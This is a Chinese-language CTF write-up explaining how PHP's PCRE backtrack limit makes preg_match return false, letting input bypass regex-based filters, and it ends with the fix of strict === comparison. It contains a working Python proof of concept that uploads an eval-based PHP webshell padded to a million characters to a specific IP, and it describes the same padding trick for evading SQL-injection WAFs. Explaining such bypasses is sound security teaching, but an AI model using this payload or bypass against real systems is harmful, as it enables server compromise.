这次 Code-Breaking Puzzles 中我出了一道看似很简单的题目pcrewaf，将其代码简化如下：
- <?php
- function is_php($data){
- return preg_match('/<\?.*[(`;?>].*/is', $data);
- }
- if(!is_php($input)) {
- // fwrite($f, $input); ...
- }
大意是判断一下用户输入的内容有没有 PHP 代码，如果没有，则写入文件。这种时候，如何绕过 is_php() 函数来写入 webshell 呢?
这道题看似简单，深究其原理，还是值得写一篇文章的。
一、正则表达式是什么
正则表达式是一个可以被「有限状态自动机」接受的语言类。
「有限状态自动机」，其拥有有限数量的状态，每个状态可以迁移到零个或多个状态，输入字串决定执行哪个状态的迁移。
而常见的正则引擎，又被细分为 DFA(确定性有限状态自动机)与 NFA(非确定性有限状态自动机)。他们匹配输入的过程分别是：
- DFA：从起始状态开始，一个字符一个字符地读取输入串，并根据正则来一步步确定至下一个转移状态，直到匹配不上或走完整个输入
- NFA：从起始状态开始，一个字符一个字符地读取输入串，并与正则表达式进行匹配，如果匹配不上，则进行回溯，尝试其他状态
由于 NFA 的执行过程存在回溯，所以其性能会劣于 DFA，但它支持更多功能。大多数程序语言都使用了 NFA 作为正则引擎，其中也包括 PHP 使用的 PCRE 库。
二、回溯的过程是怎样的
所以，我们题目中的正则 <\?.*[(`;?>].*，假设匹配的输入是
见上图，可见第 4 步的时候，因为第一个 .* 可以匹配任何字符，所以最终匹配到了输入串的结尾，也就是 //aaaaa。但此时显然是不对的，因为正则显示.*后面还应该有一个字符 [(`;?>]。
所以 NFA 就开始回溯，先吐出一个 a，输入变成第 5 步显示的 //aaaa，但仍然匹配不上正则，继续吐出 a，变成 //aaa，仍然匹配不上……
最终直到吐出;，输入变成第 12 步显示的 ] ，这个结果满足正则表达式的要求，于是不再回溯。13 步开始向后匹配;，14 步匹配.*，第二个.*匹配到了字符串末尾，最后结束匹配。
在调试正则表达式的时候，我们可以查看当前回溯的次数：
这里回溯了 8 次。
三、PHP 的 pcre.backtrack_limit 限制利用
PHP 为了防止正则表达式的拒绝服务攻击(reDOS)，给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit。我们可以通过 var_dump(ini_get(‘pcre.backtrack_limit’));的方式查看当前环境下的上限：
这里有个有趣的事情，就是 PHP 文档中，中英文版本的数值是不一样的：
我们应该以英文版为参考。
可见，回溯次数上限默认是 100 万。那么，假设我们的回溯次数超过了 100 万，会出现什么现象呢?比如：
可见，preg_match 返回的非 1 和 0，而是 false。
preg_match 函数返回 false 表示此次执行失败了，我们可以调用 var_dump(preg_last_error() === PREG_BACKTRACK_LIMIT_ERROR);，发现失败的原因的确是回溯次数超出了限制：
所以，这道题的答案就呼之欲出了。我们通过发送超长字符串的方式，使正则执行失败，最后绕过目标对 PHP 语言的限制。
对应的 POC 如下：
- import requests
- from io import BytesIO
- files = {
- 'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
- }
- res = requests.post('http://51.158.75.42:8088/index.php', filesfiles=files, allow_redirects=False)
- print(res.headers)
四、PCRE 另一种错误的用法
延伸一下，很多基于 PHP 的 WAF，如：
- <?php
- if(preg_match('/SELECT.+FROM.+/is', $input)) {
- die('SQL Injection');
- }
均存在上述问题，通过大量回溯可以进行绕过。
另外，我遇到更常见的一种 WAF 是：
- <?php
- if(preg_match('/UNION.+?SELECT/is', $input)) {
- die('SQL Injection');
- }
这里涉及到了正则表达式的「非贪婪模式」。在 NFA 中，如果我输入 UNION/*aaaaa*/SELECT，这个正则表达式执行流程如下：
- .+? 匹配到/
- 因为非贪婪模式，所以.+? 停止匹配，而由 S 匹配*
- S 匹配*失败，回溯，再由.+? 匹配*
- 因为非贪婪模式，所以.+? 停止匹配，而由 S 匹配 a
- S 匹配 a 失败，回溯，再由.+? 匹配 a
- …
回溯次数随着 a 的数量增加而增加。所以，我们仍然可以通过发送大量 a，来使回溯次数超出 pcre.backtrack_limit 限制，进而绕过 WAF：
五、修复方法
那么，如何修复这个问题呢?
其实如果我们仔细观察 PHP 文档，是可以看到 preg_match 函数下面的警告的：
如果用 preg_match 对字符串进行匹配，一定要使用===全等号来判断返回值，如：
- <?php
- function is_php($data){
- return preg_match('/<\?.*[(`;?>].*/is', $data);
- }
- if(is_php($input) === 0) {
- // fwrite($f, $input); ...
- }
这样，即使正则执行失败返回 false，也不会进入 if 语句。
